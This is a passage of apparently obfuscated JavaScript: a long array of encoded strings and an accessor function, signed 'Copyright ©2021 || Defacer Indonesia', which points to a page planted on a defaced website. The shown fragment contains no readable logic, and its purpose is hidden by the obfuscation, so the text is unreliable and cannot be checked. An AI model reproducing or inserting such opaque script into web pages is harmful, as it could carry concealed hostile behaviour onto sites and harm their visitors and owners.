a=['WPLtW4NcMCodi8oBW4HVia','W4mtqq','dConwa','W699WOu','zSkFW7C','WOFdH8oU','wCotzq','W7ZdPCor','W77cNSo6n8kMW7SeW6u','W7RcLmkU','cZRdGW','W5W5WPu','WOtdTmkWW6mixCoKja','WQJdH8og','W6jPW7m','iudcMSkxWRmGW4yWWPRdKSoZW7tcHq','W4/dLmkT','WRVdMSog','xmonvgBdImkSWOJcLGrXjYCA','W68Xnq','WRuAnW','WO3cJxG','W7KWWRO','wJyBWOfzW6KGW73cMYJdK8k0W44','WP8ulq','mSkGWP/dJqVcQMxcGsZcG3r+','W44/WRZcSsb8WOBdMs51WQNcOq','W7KSW74','mgFcShChegdcL2pdUYVdOSkG','WPbSW70','W7tcMKS','g8ovEa','qmodza','W6u1WQS','mSomWQZcRZyne8kLqcafsa','zrNdGa','WR0alq','WRFdJca','WRtcM8kg','uSkoWPu','WORdM8o5','W6reAW','W6tcH8oC','WRetAW','WPrukW','aCkvba','W6XZmW','W4T5WOS','W5KwyW','w8oXW7K','ufLl','qdjV','umoMW5G','WPj7W7S','W7fTW6m','WRWdjG','a8kTWR3cI8oAW7OuWOHU','sSkCWPS','WQTPuG','WRmPAmo5WQrth8owDatdR8k7ga','WPaNWO0','W707WOe','h8kBW7i','W43cHmkTFCoDWOaunfqWFSoX','i8kdgW','W7RcJmkA','W67dQSoP','W5RdJaBcR8oqqH0QWQFdQrH4W6q','W7mQWRO','WQv3W73dVxZdLe9NhL4yWR17','EmkoW6S','aSotW6C','tL5u','WOvOW6C','DCo/W7S','W50zra','vqny','eSoNW7i','W58vW5q','hIz/','WOCEia','uJnO','W63dS8o/','sSknWOC','gSkEeW','u1Pq','treJ','WRJdNmoi','dCohW7e','bG3cUt8CaZpdRCol','WOlcNGu','vCocWQhcMx9aW7VcIKnw','uCoaDG','W6pcH0W','W6DQWOW','WR8Cjq','eKD+hSkVW6S4rbdcNmkZWO/cKq','WPVcGfu','W6FcLfW','WOdcMKq','EqpdIq','r8otqW'];a0y=function(){return a;};return a0y();}};
Copyright ©2021 || Defacer Indonesia